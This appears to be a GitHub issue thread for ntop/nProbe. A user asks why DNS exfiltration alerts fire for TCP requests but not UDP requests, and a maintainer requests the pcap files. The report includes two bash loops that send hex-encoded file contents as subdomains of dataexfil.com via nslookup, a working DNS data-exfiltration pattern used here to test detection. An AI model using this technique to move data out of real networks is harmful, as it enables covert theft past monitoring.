Open Cyberfrenk opened 6 months ago
Hi Team, Here are the steps to rimulate my scenario:
#!/bin/bash
for (( i=1 ; i<=236 ; i+=1 )) ; do
line=$(sed -n $i'p' hex.txt)
echo $line
echo nslookup $line.dataexfil.com 10.0.20.10
nslookup $line.dataexfil.com 10.0.20.10
done
#!/bin/bash
for (( i=1 ; i<=236 ; i+=1 )) ; do
line=$(sed -n $i'p' hex.txt)
echo $line
echo nslookup $line.dataexfil.com 10.0.20.10
nslookup -vc $line.dataexfil.com 10.0.20.10
done
Here is the NTOP configuration:
Since we're asking resolution to the server 10.0.20.10 instead of 1.1.1.1 or 8.8.8.8, we'd expect to have the menthioned alert
*_The above scenario has the purpose to simulte a DNS data exfiltration, I've tried to simulate it with the ntop/nrpobe server inline and it detect the "Unexpected DNS server" and also the "Suspicious DNS traffic"_**
Thanks in advance Davide
Hi @Cyberfrenk,
Could you please send me the dnsRequestsUDP.pcapng
and the dnsRequestsTCP.pcapng
files to maio@ntop.org?
Hi @NicoMaio, pcapng files sent!
Thank you
Hello Team, I'm trying to trigger the "Unexpercted DNS server" alert in my environment, but it's working only when DNS requests are based on TCP, when DNSnrequest are UDP based protocol is not recognised and the destination port is marked as "unknown". Here is my environment, the "netflow-server1" is the ntop/nprobe server, the virtual cisco router in the middle is sending netflow record to it:
Here is the result of the DNS UDP flow:![ntopFlowUDP](https://github.com/ntop/nProbe/assets/150485084/71c5c641-4f1c-4eb4-87be-9db63ea2014c)
Here is the result of the DNS TCP flow:![ntopFlowTCP](https://github.com/ntop/nProbe/assets/150485084/874adcf1-9ea2-453f-8539-af9dc98b7295)
I'm attaching here the pcap (dnsRequestsUDP.pcapng) with the DNS requests based on UDP (no alert triggered), the pcap (dnsRequestsTCP.pcapng) with the DNS requests based on TCP (alert triggered) and the netflow capture that goes from the cisco router to the netflow server (UDP and TCP) (netflowUDP.pcapng and netflowTCP.pcapng) Kindly help me to understand what is missing on the netflow record that "summarized" the DNS requests, the ip protocol 17 (UDP) and the destination port 53 are present.
*A sample CFLOW packet that contain the UDP DNS request based is the 7 (netflowUDP.pcapng) **A sample CFLOW packet that contain the TCP DNS request based is the 73 (netflowTCP.pcapng)
Grazie Davide